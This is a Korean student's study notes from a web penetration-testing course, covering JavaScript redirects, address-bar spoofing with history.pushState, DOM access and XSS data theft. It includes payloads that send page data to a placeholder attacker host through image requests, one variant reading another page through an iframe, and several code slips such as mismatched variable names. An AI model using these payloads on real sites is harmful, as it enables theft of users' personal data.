본문 바로가기

웹 모의해킹 스터디/수업 정리

11주차 수업 정리 - 2 (JavaScript DOM, 정보 탈취)

 

JavaScript를 이용한 페이지 리다이렉트

1.

<script>

location.href="공격자페이지";  

</script>

 

2.

<script>

location.replace("공격자페이지");

</script>

 

 

 

JavaScript를 이용한 주소창 변조

Reflected XSS 공격에서 URL이 너무 길어서 의심스러워 보일때 사용한다.

<script>

history.pushState(null, null, 'login');

</script>

 

 

 

JavaScript로 DOM 객체 접근

전체 소스코드에 접근

document

 

특정 태그에 접근

document.getElementById

document.getElementByClassName

 

특정 태그의 속성 가져오기

document.getElementById('')

.getElementsByClassName('') 등

 

태그 안의 text 가져오기

.innerHTML 등

 

 

좀 더 자세하게는 여기서

https://studysteadily.tistory.com/23

 

Javascript DOM 접근 및 조작 (CRUD, 이벤트 핸들러)

Javascript? DOM? 자바스크립트는 html 제어하기 위한 언어 (컨텐츠 변경, 추가 등) 제어 대상에 접근한다 => 조작한다 DOM 이란 스크립트로 웹 문서를 제어할 수 있도록 웹 문서를 객체화한 것으로 개발

studysteadily.tistory.com

 

 

 

<script> 사용 시 유의사항

페이지가 모두 로드되기 전에 <script>가 먼저 실행되므로 

1. <script> 대신 <img>를 사용하거나

 

2. window.addEventListener('DOMContentLoaded', () => {

              페이지 로드 후 실행될 내용

}); 

 

 

 

 

 

개인정보가 출력되는 곳에서 reflected xss가 발생한다면

var target = document.getElementById('개인정보가 들어있는 곳의 id');

var secretData = target.value;

new Image().src = "http://공격자페이지.com/?data=".concat(secretData);

 

 

 

XSS가 발생하는 페이지가 아닌 다른 페이지에 있는 정보를 가져오고 싶다면

-> 리다이렉트가 되는 순간 스크립트는 무효화 되므로 리다이렉트는 사용 불가함

 

iframe을 이용 : 지금 페이지에 다른 페이지를 넣을 수 있음

 

<iframe src="http://원하는 사이트.com/" id="targetFrame"></iframe>

 

<script>

var targetTag = document.getElementById('targetFrame');

var DOMData = targetTag.contentDocument; 

var secretData = DomData.getElementByID('원하는 정보가 있는 곳의 id');

new Image().src = "http://공격자페이지.com/?data=".concat(secretData);

<script>